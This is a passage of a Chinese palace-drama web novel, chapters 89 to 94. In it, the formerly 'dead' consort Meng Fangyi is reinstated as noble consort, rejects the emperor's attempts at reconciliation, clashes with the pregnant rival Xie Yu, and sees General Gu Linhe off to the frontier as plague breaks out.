《废妃出宫第三年,皇上悔断肠》
第89章 骤封
周海原本还有些看不明白这到底是怎么回事,现在看着她这个样子立马就明白过来,这圣旨之中,怕是会有蹊跷。
他凑上来,对着阿孟行了一礼笑着说道:“奴才恭喜贵妃娘娘,娘娘,请吧?”
“多谢周公公,这宫中我也还算是熟悉,自己过去就是了。”
“周公公在皇上身边,公务繁忙,就不要为这么点小事操心了。”
虽然阿孟心中不悦,却也知道不能抗旨,若是从前孟家人都死绝了也就罢了,可是偏偏,孟家人现在死而复生,她还真是不能不管不顾。
不过就是做个贵妃罢了,之前也不是没做过,所以阿孟也没什么太多其他表情,直接就收拾了收拾自己的东西朝着苔蘅殿走去。
看着她的背影,周海冷淡的哼了一声,紧接着回御书房去复命。
阿孟刚刚走到苔蘅殿,就看见跪了满院子的奴才。
“参见孟贵妃!”
众人看见阿孟进门,纷纷行礼恭贺。
紧接着,一个熟悉的面孔走过来,上上下下打量了阿孟一眼,随后开口:“奴才康福参见孟贵妃,贵妃娘娘里面请。”
她三年前做贵妃的时候,身边最亲近的奴才就是康福,如今现在人就在自己的面前,阿孟也明白了墨司渊的意思。
她眉毛死死地拧在一起,叹了口气开口问道:“三年过去了,你还经常拉肚子偷懒吗?”
“娘娘?”
康福有些不可置信的看着眼前的女人,他这三年,日夜都守在这苔蘅殿,本来以为这一辈子也不会再有主人,可是却万万没有想到皇上竟让就这么莫名其妙的让一个女人住进来不说,还给了贵妃的位置,又给了孟的封号。
他虽然是个奴才,可是心里还是有些不舒服的,然而现在听到这话之后,一下子反应过来。
“娘娘?”
他再次试探性的开口叫了一句。
阿孟看着他这个傻乎乎的样子忽然觉得有些可爱,急忙忙伸出手来,捏了捏他的耳朵,笑着说道:“三年不见,该不会是真的把我忘了吧?”
“娘娘!”
这一次,康福兴奋的不得了,直接跪在地上。
“奴才参见贵妃娘娘,给娘娘请安!”
哪怕他不知道阿孟为什么完全变了一副面孔,可是他就是可以确定这是自己的娘娘,他的贵妃娘娘没死,她回来了!
“嗯,先进去再说吧。”
阿孟随意地把手里的东西丢给他,紧接着走了进去。
进门之后看着这里的一切如旧,心中更加不是滋味,她虽然在后宫行走,但是一直都是故意避开这个地方的,可是偏偏现在兜兜转转的又回来了。
一时半刻的,阿孟实在是不明白墨司渊到底是什么意思,到底是要闹哪一出。
不过,她还是抱着既来之则安之的心思,就这么顺势坐下。
屁股还没等坐实诚,这内府的大总管带着几十个小太监抬着箱子急慌慌的就过来了。
小太监手里的箱子堆满了整个苔蘅殿,大总管纳和更是走上前来,对着阿孟行礼。
“恭喜贵妃,贺喜贵妃,这些都是皇上赏赐给贵妃娘娘的东西,清单都在这里了,还请娘娘过目。”
看着他笑面如花的样子,阿孟一阵的嫌弃,眉毛死死地拧在一起,哼了一声:“多谢皇上,皇上有心了。”
这贵妃娘娘来的莫名其妙,对皇上的态度更是莫名其妙,就连在宫中干了几十年的纳和,也不知道这到底是怎么个事情,刮得什么风。
不过,他该做的事情都已经做了,接下来也不该继续说什么了。
他规规矩矩行了礼,带着小太监们转身离开。
“康福,把这些东西收起来,找个时间,变现。”
若是三年前,阿孟要是看见这么多的赏赐,一定会喜欢的不得了,甚至会觉得,这都是墨司渊对她爱的表现。
可是如今,阿孟早就已经不是三年前天真无知的样子了,她只是觉得,墨司渊所图不少,竟然这么下血本。
康福之前一直都跟在阿孟身边,自然明白自家娘娘对皇上的情意,可是如今看着好像是完全不一样了。
他心中疑惑,却也不敢多问,急忙忙按照阿孟的吩咐去做事去了。
后宫突然多了一个贵妃娘娘,上下一阵的哗然,大家都想知道这凭空出来的贵妃,到底是何方神圣?
尤其是丽妃,她是真的没有想到随随便便一个女人也能够册封贵妃,凌驾在她之上,那么她这个丞相之女,又算什么呢?
“皇上实在是太过分了!”
“竟然把一个卑贱的女医提拔成为了贵妃!你马上通知母亲进宫,这件事非同小可,必须要好好商量一下。”
丽妃进宫的那天开始就知道自己没有皇后命,可是也不是随便什么人都可以踩在她的脸上的!
如今,一个小小医女都有这样的造化,那么她这个丞相之女,算什么?笑话吗!
看着她这个恼恨的样子,简春也不敢多说,急忙忙转身出去传信去了。
御书房。
墨司渊似笑非笑的看着自己身边的暗卫凌霄:“现在宫中往外送了多少信件了?”
“各宫娘娘现在都很好奇这新贵妃到底是什么情况,所以都给家里传信,主要是为了好好调查一下。”
凌霄把所有拦截下来的信件,全都递给了墨司渊。
墨司渊看着这厚厚一沓的信件,冷笑一声:“宫内宫外,联系隐秘,还真的是好得很呢!”
“皇上息怒,好在都只是联系自己的家里人,也属于是正常。”
“这个才是最危险的,这是朝露宫给礼王府的传信。”
凌霄单独拿出来了一封信,小心翼翼的放在了桌子上。
他算是墨司渊身边最亲近的人,所以基本上墨司渊心里想些什么,在意什么,他比任何人都清楚。
“好,好得很!”
“礼王,好得很,还真是朕的好弟弟呢!”
墨司渊脸色阴沉,重重的敲了一下桌子,怒喝一声。
紧接着,凌霄瞬间消失不见,他可不想留下来承受这泼天的恶意。
过了好一会,墨司渊总算是反应过来,他深吸了一口气,冷静下来之后直接朝着苔蘅殿走去。
“皇上驾到!”
周海尖锐的声音传来,阿孟一阵的无语。
她直接从座位上起来,出门跪地迎接:“参见皇上。”
看着她身上依旧朴素的衣服,墨司渊的脸色变了变:“内府送来的新衣服,不喜欢吗?都是按照你的尺寸做的,朕记得,你从前最喜欢这织花锦了。”
第90章 爱逝心冷
从前?
他还好意思说从前?
阿孟心中有很多脏话要说,最后还是强行忍住,她的仪态还跟从前一样优雅,端着高门贵女的体统。
然而眸子里已经没有了曾经对他的崇拜和爱意,现在她看向他的时候,跟后宫那些女人没有半分区别了。
这前后落差实在是太大了,所以墨司渊一时之间,有些受不住。
他深深地吸了一口气走上前去,亲自把人扶了起来,柔声道:“若是你不喜欢这些衣服,朕可以让他们重新再做,意儿,我们一定可以回到从前的。”
有些事情,过去了就再也不会回来了。
阿孟心中默念,可是表面上依旧是恭恭敬敬,挑不出毛病:“多谢皇上恩赐,臣妾不敢。”
哪怕是这声臣妾再怎么不情愿,可是她如今已经是贵妃了,想要赖账也不行了!
墨司渊没有多说其他,只是拉着她的手,一起朝着里面走去,坐下之后,开口说道:“意儿,谢妤肚子里的孩子,怎么样?”
“皇上放心,谢贵妃肚子里的孩子十分健康,一定可以平安落地。”
阿孟站在一旁,公事公办的回答。
看她这个样子,墨司渊还以为,她是在吃醋,拉着她的手,再次好声好气的说话:“朕不是真的关心她,只是这个孩子对于朕来说,是一个威胁,不能留。”
“不是你的孩子,威胁不到你。”
阿孟几乎是脱口而出,可是说完之后又有些后悔,仔细一想,其实说了也没什么大不了。
毕竟这件事早晚都是要知道的,她是孟家的女儿,自然是要站在孟家的阵营里面的,可是偏偏现在孟家在皇上的阵营里,所以哪怕是她再怎么不情愿,也是必须要站在墨司渊的阵营里的。
大家族的儿女,总是会身不由己,阿孟从小出身世家,也受世家教育长大,她心中,家族利益,比天还要大!
“你!”
墨司渊气急,站起身来,死死地盯着阿孟看。
哪怕是他早就知道谢妤跟墨司理两人有点猫腻,可是被阿孟这么直白的说出来,脸上还是有些挂不住。
毕竟是青梅竹马年少白月光,现在如此潦草收场,也是丢人现眼。
阿孟对着他笑了笑,随后开口说道:“皇上放心,这个孩子左右都是生不下来的,她吃了特殊的药物,所以才会有了这个孩子,这个孩子会一点点的掏空她的身体,最后难产血崩而亡。”
墨司渊实在是不敢相信,她竟然可以如此面无表情的说出来这些话,他还记得,他的意儿是一个那么温柔善良的人,之前宫中的奴才犯了错误,都不忍心责罚。
如今两条人命,在她的嘴里,竟然变得如此的轻飘飘,这到底是为什么?
对上墨司渊疑惑的双眸,阿孟只觉得可笑。
“陛下,孟方意,真的死了。”
她必须得告诉墨司渊,她早就不是从前的孟方意了,他要是想要,就去阴曹地府找吧。
看着她这个样子,墨司渊有些无奈的叹了口气:“意儿,你应该明白,朕都是为了朝堂,为了天下,朕……朕自己何尝不委屈?”
“是,臣妾不敢怨恨,臣妾明白。”
“孟家满门忠烈,臣妾身为孟家女,自然跟父兄站在一起。”
她说的是父兄,并非是墨司渊。
从前,阿孟不管是对还是错,她只认墨司渊,不管是黑还是白,她只在乎墨司渊。
哪怕墨司渊真的是错的,她还是会坚定不移。
只可惜,从前是从前,现在是现在,孟方意死了,活下来的,就只是阿孟。
“意儿,你现在还在赌气,朕明白。”
“朕一定会好好补偿你,你好好休息,朕明日再来看你。”
墨司渊一阵的无奈,伸出手来,捏了捏阿孟的肩膀,起身朝着外面走去。
他的背影看上去有些落寞,然而这跟阿孟没关系,她早就已经不在乎他是死是活了,在阿孟心中,她的墨司渊,也早就死在了三年前。
如今,她是贵妃,他是皇帝,仅此而已。
朝露宫。
谢妤知道这个消息之后,气的吐了一口血出来,就这么昏死过去。
过了好半天,才有太医过来把脉,也是被她吓得瑟瑟发抖。
“贵妃娘娘,你还是要注意自己的身子,小心肚子里的孩子呀!”
“滚,给我滚!”
“你们都给本宫滚出去!”
谢妤丝毫不领情,抄起一旁的枕头,狠狠地砸在了那太医的脑袋上。
太医被打的满脸都是血,也不敢多说,只能是拎着药箱,慌慌张张的离开。
“皇上还没来看本宫吗?”
“告诉皇上,本宫晕倒了吗?”
谢妤拎着红豆的领子,就这么死死地瞪着她。
红豆被她吓得不轻,说话都是瑟瑟发抖,小声地说道:“奴婢已经打发人去说过了,皇上朝政繁忙,怕是一时半会还来不了,娘娘息怒呀。”
“闭嘴!”
“皇上最疼本宫,她怎么会不来,是你,是你们故意陷害本宫!”
“你亲自去,告诉陛下,就说本宫肚子疼的厉害,快要死了!”
谢妤一把甩开了红豆,咬牙切齿的咒骂。
红豆连滚带爬的离开,脚步慌乱的朝着御书房走去。
晚上,墨司渊如约而至,他刚进门,谢妤就光着脚冲进了他的怀中。
“阿渊,你终于来了,我还以为,你再也不会见我了!”
“我想你了,我好想你,都是我的错好不好,求求你,你不要不理我,我真的不能没有你。”
墨司渊神色缱绻温柔,伸出手来拖住了她的身子,把人抱进了屋子里面,轻轻地放在床上,动作小心翼翼,如同是对待一件珍贵的瓷器一般。
见状,谢妤的心中,总算是安稳了一些,她现在起码可以确定,墨司渊的心中,多少还是有点她的位置的。
眼看着墨司渊要离开,谢妤就这么死死地搂住了他的腰,整个人贴在他的身上:“不,阿渊,你不要离开我,你就这么抱着我好不好,爹娘都不在了,兄弟姐妹也都死了,我只有你了,阿渊,我就只有你了。”
她一边说着一边哭,眼泪好像是断了线的珠子一般落下,随时随地都可能要断了气的模样。
见状,墨司渊又是一阵的心疼,拿过一旁的帕子,轻轻地擦拭着她的眼泪。
“傻不傻?”
“我这些天就是太忙了,这不是来了吗?”
墨司渊顺势坐在她的身边,拉着她的手,好声好气的安慰。
第91章 复宠
他的表现一点破绽都没有,哪怕是谢妤,也看不出来半点端倪,还以为自己是他的心头宝。
“阿渊,你以后经常过来陪陪我好不好?”
谢妤靠在他的身上,声音软糯的如同是害怕被抛弃的小猫儿一般,不管是谁,只怕是都会心软软。
若不是因为墨司渊早早就知道了谢妤的真实面目,怕是也要被炼成了绕指柔。
“你现在最要紧的,就是把我们的孩子生下来、”
“只要这孩子一落地,你就是名正言顺的皇后!”
“妤儿,在朕的心里,就只有你一个。”
墨司渊拉着她的手,就这么轻轻地放在了自己的胸口上。
这下,谢妤悬着的心,终于是落了下来,确定了自己在他心中的地位之后,立马开始进攻!
她轻轻地戳了戳墨司渊的胸口,闷闷地说道:“陛下说的好听,如今宫中骤然多了个贵妃,陛下的心里,哪里还有臣妾的半点位置?”
“无论宫中多了谁,你永远都是朕心上第一位的,谁也不可能越得过你去。”
“只要孩子出生,你就是皇后,还在意多一个贵妃,做什么?”
墨司渊捏了捏她的鼻子,如同小时候那般亲昵。
虽然谢妤心中还很不情愿,却也知道什么叫做见好就收,她从来都不是一个给脸不要脸的人。
“陛下,你说的是真的还是假的?”
“自然是真的,朕怎么会骗你,朕怎么忍心骗你?”
墨司渊说着,在她的额头,落下轻轻一吻。
不到天黑的时候,谢妤的禁足令就被取消了,并且内府还送了一大院子的好东西过去,这个信号就是要告诉整个宫中的人,谢妤复宠了,她永远都是皇上心尖尖上的人。
这下,后宫的情况明显就是更加乱糟糟了,大家全部都在观望,都想知道,这到底是怎么一回事,只有徐才人,关上宫门,只过自己的日子。
谢妤好不容易能出门了,第一时间,就是去了苔蘅殿,想要跟阿孟决一死战。
她一进门,丝毫不客气狠狠地给了阿孟一个耳光:“贱人,你竟然趁着本宫有孕,勾引皇上做了贵妃!看看你现在这个下贱的样子,你也配!”
“我是孟贵妃,孟不是我的姓氏,是我的封号。”
“皇上赐本宫贵妃金印,虽然你也是贵妃,可是身份远不如本宫高贵,如此这般的以下犯上,是找死吗?”
阿孟脸颊红肿,却气势十足,完全没有了从前唯唯诺诺的样子。
她就这么站在那里,不怒自威,一看就知道,并非是一日之功。
谢妤更是觉得眼前这人熟悉的很,很快,她满脸都是慌张,下意识的退后:“不,不对,你不是医女阿孟,你是孟方意,你没死,你回来了!”
“谢贵妃,你这该不会是在心虚吧?”
“怎么?你对之前的那位孟贵妃,做了什么亏心事?”
阿孟抱着膀子,似笑非笑的看着慌乱的谢妤。
“不,不可能的,你死了,你一定是死了,你早就死了!”
“皇上亲自验尸,我也是亲眼所见,没有人可以起死回生的!你死了!”
谢妤下意识的退后,不停地摇头。
她现在的状态疯疯癫癫的跟从前很不一样,可是阿孟却并不觉得蹊跷,毕竟她亲自配的药是什么效果,她心里最清楚。
谢妤越是疯癫,阿孟就越是淡定,两个人形成了鲜明的对比,越发衬得谢妤像个发了疯的小丑。
“孟方意,我能杀你一次,就能杀你第二次!”
“不单单是你,还有孟家上下!”
“你回来了又如何!孟家已经死绝了,我倒是要看看你还能怎么样!”
谢妤忽然冲上前来,死死地攥着阿孟的衣领,双目赤红的盯着她,分明是已经疯了。
康福快速反应过来,快步上前,扯开了谢妤,把阿孟护在身后。
“谢贵妃,请你自重!”
康福死死地护在阿孟的身前,眉毛拧的死死的。
一个奴才,也敢挡路?
这谢妤现在正在气头上,所以就直接扬起手准备好好教育教育康福。
只可惜,阿孟也是忍无可忍的出手了。
她一根银针,刺进了谢妤的穴位之中,紧接着就看见谢妤整个人软绵绵的倒下去。
“贵妃娘娘!”
“孟贵妃,我家娘娘还怀着孩子呢,你这是干什么!”
红豆带着身后的宫女上前,接住了谢妤,开始质问阿孟。
“康福,掌嘴。”
阿孟站在那里面无表情。
她从前是医女,自然要处处低调小心,现在她可是后宫位分最高的,以下犯上的,她自然不会惯毛病!
康福丝毫不客气,大步上前左右开弓,十几个耳光打下去之后,直接打的红豆连连求饶。
“去本宫门口罚跪三个时辰。”
“便要让在后宫好好看看,什么是规矩体统,什么是尊卑!”
阿孟丢下这话之后,看都没看谢妤一眼,转身进了屋子里面。
她三年前就是统领后宫的贵妃了,现在做起这些事情来简直就是驾轻就熟。
何况,她知道,墨司渊把她放在这个位置上,就是为了稳定后宫。
前朝后宫,息息相关,她可以不在乎墨司渊的死活,甚至可以不在乎墨司渊的江山,可是她不能不在乎自己的父兄,不能不在乎整个孟氏家族!
哪怕是心不甘情不愿,也会做墨司渊手里最锋利的那把刀!
这边的消息很快就传到了墨司渊的耳朵里,他嘴角微微扬起,眸子里更是掩盖不住的得意:“朕就知道,意儿是个识大体的。”
“谢贵妃现在还在昏迷,皇上,要不要去看看她?”
周海走上前来小心翼翼的提醒。
他跟在墨司渊身边几十年,现在越发是看不懂了,这心爱的人都被欺负成这个样子了,怎么还能笑得出来?
“她现在昏迷,朕去了有什么用?”
“让太医好好照顾。”
墨司渊摆摆手,低头继续看手里的折子。
这时候,小太监来报:“皇上,顾小将军求见。”
“叫进来。”
墨司渊放下手中狼毫,嘴角微微扬起,约么着时间是差不多了,他是该过来一趟了。
顾凛鹤在家中听说阿孟成了贵妃,一开始还以为是谣传,可是很快就确定了这个消息。
他想不通这到底是怎么回事,不顾家里人阻拦,就这么冲进了宫中,来到了墨司渊的面前。
如今,他脚步匆匆进来,满脸都是急切,可是偏偏在对上墨司渊那双冰冷眸子的一瞬间,整个人冷静下来。
第92章 离宫赴边
顾凛鹤这才终于想到了自己的身份,他不过是个将军,如何能管得了皇帝的床榻之事!
“臣,参见皇上!”
冷静下来之后,顾凛鹤说话做事也都变得有章法起来,他规规矩矩,挑不出一丝丝的错处。
看着他如此懂事的样子,墨司渊心中也是欣慰。
他的大将军,本来就是应该如此的智勇双全。
“顾小将军如此着急求见,可是有什么不得了的事情?”
“回皇上,南楚屡屡犯我边疆,臣请战!”
顾凛鹤跪在地上,字字句句,掷地有声。
他本就是一个骁勇善战的大将军,京城的风他不习惯,所以他想要离开,想要回到自己最熟悉的地方去。
“好,好一个顾凛鹤,好一个顾大将军!朕准了!”
墨司渊一口答应下来。
他本来也是打算这么干的,只是没想到顾凛鹤会主动提出来,这个时候顺水推舟最好!
“臣,多谢皇上!”
顾凛鹤立马磕了一个头,站起身来,就这么深深的看着墨司渊,欲言又止,可是最后还是行礼离开。
看着他的背影,墨司渊嘴角微微扬起,继续低头看折子。
阿孟听说顾凛鹤进了宫,生怕他一冲动之下会做出来什么不理智的事情,所以干脆去了宫门口,想要跟他说几句话。
看见他脸色晦气的从里面走出来,阿孟的心提到了嗓子眼。
她快速迎了上去:“顾将军,你……你没事吧?”
“我没事,那你呢?”
“你好吗?”
“为什么……成了贵妃?”
顾凛鹤隐忍半晌,却还是没忍住。
看着他如此急切的样子,阿孟有些无奈,叹了口气:“这并非我所愿,只是我也没有办法。”
“将军,前线凶险,你一定要万事小心。”
说着阿孟直接拿了一个药瓶,塞进了他的手中。
“这是解毒丹,止血神药,可解百毒,你拿着,以防万一。”
阿孟眼神恳切,生怕他不收。
对上阿孟的双眸,顾凛鹤心中更是如同刀绞一般。
“阿孟姑娘,若你不愿意做贵妃,我可以……”
“你不行!他是皇帝!”
阿孟当然知道他要说什么,但是阿孟更加清楚那是绝对不可能的事情!
她上前一步,直直的看着顾凛鹤。
“哪怕你不在意自己的命,那么顾家呢?全族的命,你都不在意?”
“他是皇帝,是天!是不可违逆的存在!”
阿孟永远都是那么的清醒,这天下没有任何一种权利,是可以凌驾在皇权之上的!
墨司渊就是拥有着至高无上的权力,他可以随意的决定任何人的生死,甚至不需要理由。
“阿孟!”
顾凛鹤又唤了一声,红了眼眶。
千言万语,就这么堵在胸口,再也没有了宣之于口的机会。
他深深地看了阿孟一眼,随后决然转身,大步离开。
阿孟就这么站在原地,默默的看着他的背影,微微一笑:“一切平安。”
“你就这么在意他?”
“孟方意,你可不要忘了,六年前,你就是朕的贵妃!”
墨司渊的声音忽然从身后传来,带着浓郁的不满和愤怒。
阿孟并没有任何被抓包的慌乱,她跟顾凛鹤之间,本来就是清清白白,她对他,不过是一个普通子民对待大将军的态度罢了。
她回过头来,对上墨司渊冒火的眸子,微微一笑:“皇上多虑了,臣妾这一生,都逃不开了。”
阿孟对自己的命运还是有所遇见的,她知道自己这辈子都飞不出去了,再也离不开这四四方方的后宫了。
明明她说的是事实,可是偏偏眸子里深切的悲伤刺痛了墨司渊的眼。
墨司渊恼怒,上前一步,捏住了阿孟的下颚,强迫她看着自己。
“你就这么厌恶这个皇宫,厌恶朕?”
“臣妾不敢。”
阿孟依旧是不卑不亢,她现在跟三年前已经是完全没有了相同之处,甚至整个人都变了一个样,是彻彻底底的木头人了。
她接受自己的命运,也履行自己的职责,可是她的心,死了,彻底死了。
“孟方意!”
“收起你这幅样子,朕不喜欢!”
墨司渊一把甩开了阿孟,心中莫名有了一种无名之火。
见状,阿孟直接行了一礼:“是,臣妾告退。”
“你!”
墨司渊盯着她的背影,目眦欲裂。
刚才对着顾凛鹤的时候,就笑的真诚,可是偏偏面对自己的时候,就如同是木头一般!
难不成,这三年,她真的对他有了真感情?
一想到自己不在的三年,顾凛鹤都在,墨司渊就恼怒的发疯。
他从未有过这样的感觉,甚至不明白自己堂堂帝王,为什么会有这样的感受?
阿孟回到自己的宫中,看着摆在那里的锦衣华服,心中十分不情愿。
可是无论她如何的不情愿,她现在都回到了这金丝笼之中,只能是按照这里的规矩办事。
阿孟深深地吸了一口气,随后吩咐:“本宫要沐浴更衣。”
康福立马反应过来,招呼手下的几个小宫女,开始伺候阿孟。
泡在热水里的一瞬间,阿孟的眼睛也有些湿润,外面天地宽广,她终究是回不去了。
阿孟眯着眼睛,水汽和热气升起,阿孟的心,却沉到了谷底。
顾家。
顾夫人不可置信的看着自己的儿子:“你是不是疯了,你知不知道你这么做意味着什么,那个贱丫头有这样的福气做了贵妃,已经是十分可怕了,你竟然还冲到宫中去,你是生怕皇帝看不出来你们之间不对劲是不是,你要害死整个顾家,是不是!”
“你昏了头了吗!”顾夫人实在是不明白自己的儿子,到底为什么会变成这个样子?
见状,顾凛鹤只是扯了扯嘴角。
“母亲放心,我不会拉着全家人去死的。”
“皇上已经恩准,让我去边疆!”
顾凛鹤从小就在军营长大,跟家里的关系本来就是不冷不淡的。
如今,更是没有什么情分了。
听说不会连累自己,顾夫人松了一口气,然而看着儿子这个样子,有些不舒服:“你这孩子,你这话,是什么意思?”
“母亲,时间紧张,我就先去军中了。”
顾凛鹤如今一句话都不想解释,只想要快点离开。
看着他的背影,顾夫人总觉得,自己好像是快要失去这个孩子了,有什么东西一点点的从自己的心口剥离,生疼生疼的。
“你这孩子,我说不得你了,是不是!”
“几句话你就要离家上战场,混账东西!”
“你多带些衣服,战场凶险,多加小心!”
第93章 情断京城
顾夫人本来是准备了很多话的,可是最后到了嘴边就只剩下了这么一句。
顾凛鹤脚步没有半分停顿,他在家中的东西本来就不多,没一会就收拾干净,带着流年转身就走。
刚刚出城,后面马车就追了上来,顾凛鹤看见这马车的时候,心中甚至还在妄想,可是在看见马车上走下来的人是顾奚慈的哪一个瞬间,所有的妄想全都消失不见。
他眉宇之间有些不耐,就这么盯着顾奚慈看。
“表哥!”
顾奚慈拎起裙摆,快步朝着顾凛鹤冲过来,直接搂住了他的腰。
“表哥,你好不容易回来的,为什么还要走,我舍不得你,你可不可以不要离开我!”
顾奚慈的眼泪一下子就落了下来,这段时间,她一直都在庄子上,从未离开过京城,实在是舍不得顾凛鹤也舍不得顾家。
顾凛鹤只是默默地把人推开,淡淡开口:“我生来就是征战沙场的,生死不定,你也不要为了我,蹉跎青春,我给不了你任何。”
“表哥?”
顾奚慈是真的没有想到,临别之前,他竟然会说出如此无情无义的话来!
她不可置信的看着顾凛鹤,眼泪更加汹涌:“是因为阿孟吗?可是表哥,她现在已经是贵妃了,她是皇帝的女人!”
“跟别人无关,这只是我自己的想法。”
“我这一辈子,不会成家,也不配有后代,一腔热血只想给大景,不敢自留半分。”
“你回去吧。”
顾凛鹤丢下这话之后当真是看也都不看顾奚慈一眼,翻身上马,最后看了一眼京城城门,随后收回目光,高喝一声:“出发!”
“表哥!”
“我会等着你,我会一直等着你!”
“表哥,一路小心!”
顾奚慈用力的挥舞着手臂,眸子里满满的都是不舍。
一直到再也看不见他的背影,眸子里的不舍变成了恶毒!
“马上给宫中的谢贵妃传信,就说我要见她!”
顾奚慈咬牙切齿,上了马车。
身边的丫鬟看着顾奚慈这个样子,犹豫了一下还是好声好气的劝说:“姑娘,这阿孟现在已经是贵妃了,是皇上的人,跟咱们家肯定是没有可能了,咱们何必在这个时候过去蹚浑水呢?”
“你懂什么?阿孟一个小小医女,不声不响成了贵妃,由此可见心机深沉!”
“刚才表哥的话你也听见了,他还不是为了阿孟才会如此?我是绝对不会放过这个贱人的!”
顾奚慈根本不在乎阿孟是不是真的会跟顾凛鹤在一起,只要顾凛鹤的心中有这个女人,那么不管这个女人是谁,都该死!
皇宫,城墙上。
阿孟站在那里,正好可以看见大军开拔的场面,十几万大军浩浩荡荡,可以说是十分壮观。
可是偏偏,阿孟心里却一点欣赏的心思都没有,因为阿孟明白,战争就意味着流血和死亡。
她深深地吸了一口气,默默地握紧了拳头,所有人都知道顾凛鹤出征去了边疆,可是只有阿孟知道,哥哥也跟着一起出发了,他也去了最危险的地方。
失而复得的亲人,马上就要奔赴疆场,阿孟甚至不知道自己是不是应该埋怨皇权无情。
她站在城楼就这么看着军队越来越远,可是却不知道,墨司渊就站在墙边看着她。
墨司渊从未有过这样的感受,自从懂事开始,他就知道自己以后是要做皇帝的,所以从来都没有考虑过别人的感受,更不会揣摩旁人的心思,说到底这后宫的女人,基本上都是一个样。
可是偏偏,此时此刻,就这么看着阿孟站在那里,墨司渊居然真的很想问问她,到底在想些什么?
阿孟收回目光,拢了拢身上的衣服,朝着下面走去,两个人撞了个满怀,四目相对的一瞬间,阿孟的心情多少有些复杂。
她也不知道墨司渊站在这里多久了,更不知道,墨司渊在想什么,为什么会站在这里,但是她还是微微福身行礼:“参见皇上。”
“意儿,你是不是一直都在责怪朕?”
“为什么你对朕再不似从前那般了?”
墨司渊拉着阿孟的手,看向她的时候,眸子里竟然带着点委屈的质问。
见状,阿孟也觉得稀奇,她想到他们在一起的那三年,虽然也有过柔情似水或者是热情似火的时候,可是他却从未如此的脆弱过。
他总是那么强大,是不可一世的帝王,竟然也会有这样委屈的时候?
若不是因为阿孟知道这个人的演技天衣无缝,怕是也会相信,他心里是有她的位置的吧?
“皇上教训的是,皇上乃是天子,天子威重,怎可拘泥于区区儿女私情?臣妾从前不懂事,还请皇上恕罪。”
阿孟默默地抽回自己的手,规规矩矩的回答,恭恭敬敬的说话。
然而她越是这个样子,就让墨司渊的心中越发的不是滋味,可是偏偏,她说的做的都没有半点的错处,所以哪怕是心里多么不舒服,也只能是咬牙点头:“好,好得很,你能如此懂事,也是好事。”
丢下这话之后,墨司渊转身大步离开。
若是从前,看着他如此恼怒离开,阿孟心中一定慌乱,可是如今,阿孟发现自己一点波澜都没有。
“贵妃娘娘出来怎么不多穿点衣服?”
康福快步走来,手里拿着一个大氅,仔仔细细的给她穿好。
他总是记得阿孟的身体不好,生怕她会撑不住。
阿孟回过神来,温柔的点点头:“天凉了,我们回去吧。”
“贵妃娘娘,奴才有句话,也不知该不该说。”
“皇上对娘娘是有情分在的,娘娘何必如此呢?”
康福刚才可都看见了,他们家娘娘对皇上不是不好,简直就是冷若冰霜。
阿孟没有回答这个问题,只是一直询问小厨房的餐点做的怎么样了。
既然出不去,就要好好享受这宫中富贵,这可都是父兄浴血奋战拼了命给她留下来的。
兄长是大将军,父亲则是丞相,她现在还未见过父亲,也不知,父亲现在到底在做什么,身体怎么样?
她回到宫中,却意外的看见云珠,还不等反应过来,云珠快速扑过来,紧紧地抱住了阿孟的腰:“小姐,我好想你!”
话音未落,云珠立马反应过来,红着眼:“奴婢该死,参见贵妃娘娘!”
阿孟现在是贵妃了,身份跟从前再无半点相同,所以她自然是应该规规矩矩行礼的。
第94章 瘟疫惊变
阿孟弯腰,直接就把人给扶了起来,随后温柔开口道:“往后我就是贵妃娘娘,你是我这苔蘅殿的主管姑姑,以后宫中大事小事,都归你管,你之前不是一直都喜欢宫中的糕点嘛?你就尽管吃好了。”
虽然这听上去是一件好事,可是不知道为什么,云珠看着阿孟这个样子,只觉得心疼的不得了,她知道,阿孟根本不稀罕这狗屁的富贵,她最喜欢的,一直都是外面的自由自在。
可是偏偏,现在一个贵妃的身份,把她捆绑在这里,实在是太过残忍。
进了门之后,云珠仔仔细细检查,确定不会有人听见之后,这才压低了声音开口:“贺神医说了,只要你想走,随时都可以,孟方意可以死一次,也可以死第二次,还有半夏,他随时待命。”
“我不走。”
阿孟心中十分感动,温柔的摸了摸云珠的脸颊。
“孟家上下现在都在浴血奋战,都在为了皇上战斗,我虽然不能去前线,也不知道父亲在做什么,但是我是孟家的女儿,我不能就这么做了逃兵,我不能就这么走了。”
云珠根本不懂什么是世家大族,更不知道,什么是家族荣耀,也不懂一荣俱荣一损俱损的道理。
但是云珠明白,她的小姐再也出不去了。
“可是小姐?”
“没什么可是,日子在哪里都是要过的,都要好好过。”
阿孟捏了捏云珠的脸颊,对着她温柔的笑了笑。
“不过你还是自由身,你若是不喜欢宫中,我可以……”
“小姐在哪里,我就在哪里,小姐要做贵妃,我就做小姐的宫女,我一辈子都不会跟小姐分开的!”
云珠直接跪在地上,就这么抱住了阿孟。
她是真的舍不得离开阿孟,也是真的心疼阿孟。
看着这傻丫头的样子,阿孟心中暖暖的。
从前雪衣她们也是这样的,只可惜,她们再也不会回来了。
阿孟知道,哪怕是做戏,她们也是真的死了,因为她们是奴婢,根本不会有人在意奴婢的命,何况要她们死的人还是这天下最尊贵的人。
想到陪伴着自己从小长大的人,阿孟的心,就狠狠地抽痛,哪怕是过去了三年,也从未忘记。
“好了,以后我们就在宫中好好过日子。”
“对了我让你们送走的药材,都送到了吗?”
阿孟有些担心的看着云珠,这些东西必须马上送过去,边疆很有可能不稳定,万一要是真的打起来,这些药材就是最关键的。
“娘娘放心,全都已经送过去了,只是我们回来的时候,发现有几座城闹了瘟疫,也不知道,会不会蔓延到边疆军中。”
云珠这次之所以这么着急来见阿孟,很大一部分也是为了这件事。
什么?瘟疫!
这边疆暴动,危机重重,可是偏偏在这个时候有了瘟疫,这瘟疫若是蔓延起来,一定会十分严重。
她不能不管,她的哥哥,她最在意的人,现在都在那边,哪怕是不能扭转乾坤,她也必须要去陪伴自己的家人!
她已经失去过家人了,不想再失去一次。
想了一下,阿孟亲自进了小厨房。
她那个时候一直都把墨司渊当做是自己的夫君,所以哪怕是身体不好,也总是想着,要洗手作羹汤。
可是现在想想,当真是可笑至极。
不过,之前练就的本事,现在倒是正好可以用一用。
按照墨司渊的喜好,阿孟做了两盘小点心,还有一碗燕窝羹。
她把自己打扮干净,拎着食盒,就这么去了御书房。
周海看见焕然一新的阿孟,还觉得有些奇怪,但是在看见她手中的食盒之后,一下子就明白了是怎么回事,眸子里多了几分鄙夷。
“皇上,孟贵妃来了。”
